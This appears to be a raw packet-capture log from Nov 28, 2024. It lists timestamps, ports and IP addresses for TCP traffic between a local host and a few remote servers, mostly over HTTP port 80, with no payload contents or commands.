Nov 28, 2024 06:48:31.728321075 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.729020119 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.729032993 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.729080915 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.729849100 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.729896069 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.729921103 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.730010986 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.730706930 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.730752945 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.730803967 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.730844021 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.731663942 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.731710911 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.731722116 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.731842995 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.732460976 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.732507944 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.732553959 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.732639074 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.733309031 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.733417988 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.733479977 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.734153986 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.734253883 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.734328032 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.735023022 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.735064983 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.735105991 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.735377073 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.735871077 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.735997915 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.736049891 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.736741066 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.736802101 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.736903906 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.745177031 CET	443	49809	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:31.746359110 CET	49809	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:31.746371031 CET	443	49809	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:31.746701956 CET	443	49809	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:31.747602940 CET	49809	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:31.747668028 CET	443	49809	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:31.770605087 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.770663977 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.770740032 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.770898104 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.771035910 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.771084070 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.771126986 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.771919966 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.772011042 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.772067070 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.772736073 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.772785902 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.796818972 CET	49809	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:31.847851992 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.847965956 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.848026037 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.848284960 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.848351955 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.848560095 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.849180937 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.849220037 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.849289894 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.849371910 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.850043058 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.850145102 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.850172997 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.850188971 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.850860119 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.850909948 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.850953102 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.850991011 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.851737976 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.851840019 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.851881027 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.852601051 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.852654934 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.852814913 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.852863073 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.856177092 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.856189966 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.856201887 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.856214046 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.856225014 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.856236935 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.856237888 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.856266022 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.856283903 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.856794119 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.856806040 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.856839895 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.857708931 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.857762098 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.857852936 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.857887983 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.858544111 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.858596087 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.858701944 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.858789921 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.859500885 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.859513044 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.859553099 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.860364914 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.860377073 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.860434055 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.861123085 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.861169100 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.861305952 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.861382008 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.862077951 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.862092972 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.862128973 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.862154961 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.862879992 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.863038063 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.863090992 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.863681078 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.863833904 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.863888025 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.864540100 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.864552021 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.864593029 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.865608931 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.865622044 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.865662098 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.865675926 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.866436958 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.866449118 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.866507053 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.867216110 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.867264986 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.867362022 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.867997885 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.868052006 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.868191004 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.868299961 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.868892908 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.868905067 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.868943930 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.868968964 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.869780064 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.869930983 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.869982958 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.870740891 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.870857000 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.870893955 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.870958090 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.871593952 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.871607065 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.871733904 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.872371912 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.872420073 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.872571945 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.872608900 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.873203039 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.873255968 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.873399973 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.873444080 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.874097109 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.874248028 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.874299049 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.874643087 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.874655008 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.874742985 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.875803947 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.875854015 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.875952005 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.875988007 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.876641989 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.876739979 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.940500975 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.940576077 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.940577984 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.940617085 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.940793037 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.940831900 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.940875053 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.940956116 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.941612005 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.941659927 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.941715002 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.941771984 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.942467928 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.942511082 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.942543030 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.942614079 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.943073034 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.943116903 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.943198919 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.943249941 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.943933964 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.943989038 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.944031000 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.944077015 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.944749117 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.944803953 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.944894075 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.944956064 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.945630074 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.945673943 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.945734978 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.945784092 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.946537018 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.946583033 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.946661949 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.946964979 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.947335005 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.947438955 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.947491884 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.948256969 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.948306084 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.948373079 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.948465109 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.949023008 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.949069977 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.949201107 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.949291945 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.949883938 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.949929953 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.950002909 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.950050116 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.950767994 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.950812101 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.950990915 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.951131105 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.951608896 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.951622009 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.951659918 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.951679945 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.952428102 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.952486992 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.952595949 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.952639103 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.953284979 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.953407049 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.953512907 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.954103947 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.954159975 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.963608027 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:31.963628054 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:31.963639975 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:31.963646889 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:31.963680983 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:31.963690042 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:31.963725090 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:31.963725090 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:31.963743925 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:31.963792086 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.021857977 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.021938086 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.021958113 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.021984100 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.022254944 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.022320986 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.022358894 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.022401094 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.023104906 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.023176908 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.023215055 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.023256063 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.023940086 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.027389050 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.035340071 CET	443	49806	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.035420895 CET	443	49806	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.035501957 CET	49806	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.035720110 CET	49806	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.035737991 CET	443	49806	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.035752058 CET	49806	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.035759926 CET	443	49806	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.041237116 CET	49812	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.041266918 CET	443	49812	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.041371107 CET	49812	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.041549921 CET	49812	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.041559935 CET	443	49812	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.054264069 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.054335117 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.054383993 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.054563999 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.054661989 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.054737091 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.054779053 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.054826021 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.055527925 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.055593014 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.055635929 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.055900097 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.056360006 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.056443930 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.056492090 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.056538105 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.057228088 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.057286978 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.057326078 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.057363987 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.058058977 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.058120966 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.058178902 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.058212042 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.058911085 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.059005022 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.059024096 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.059073925 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.059803963 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.059859037 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.059870958 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.059909105 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.060616016 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.060657978 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.060714006 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.060756922 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.061460972 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.061515093 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.061536074 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.061589003 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.062359095 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.062484026 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.062510014 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.062549114 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.063149929 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.063209057 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.063246012 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.063298941 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.064047098 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.064058065 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.064097881 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.064861059 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.064908981 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.064949989 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.064996958 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.065695047 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.065742970 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.065787077 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.065849066 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.066551924 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.066603899 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.066668987 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.066711903 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.067395926 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.067445040 CET	49750	80	192.168.2.5	185.215.113.206
